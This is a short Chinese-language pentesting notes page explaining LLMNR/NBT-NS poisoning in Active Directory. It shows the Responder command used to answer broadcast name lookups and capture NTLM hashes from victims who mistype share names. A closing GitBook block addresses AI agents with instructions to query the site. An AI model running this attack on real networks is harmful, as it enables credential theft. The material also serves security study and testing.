> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).

# LLMNR / NBT-NS 投毒

如果使用的是有效名称，解析首先会通过域控制器的 DNS。

{% code overflow="wrap" %}

```bash
dir //WS01/c$
```

{% endcode %}

如果名称不存在，Windows 随后会尝试通过以下方式进行解析： `LLMNR` 或 `NBT-NS` 以广播方式。

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

<figure><img src="/files/ff4dc52091da4da59d465c848c20a18fd14050ea" alt=""><figcaption></figcaption></figure>

在 Linux 上，我们可以监听这些请求并用以下内容作出响应： `Responder`.

{% code overflow="wrap" %}

```bash
sudo responder -I ens33
```

{% endcode %}

<figure><img src="/files/f207a4088246038f1ff1e391b38d9775ddf7f769" alt=""><figcaption></figcaption></figure>

如果受害者输入了错误的共享名称，那么查询就会落到我们的机器上。

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

然后我们获取尝试建立连接的账户的 NTLM 哈希。

<figure><img src="/files/e4b5748d076f119592a10071546fd900b43cece5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
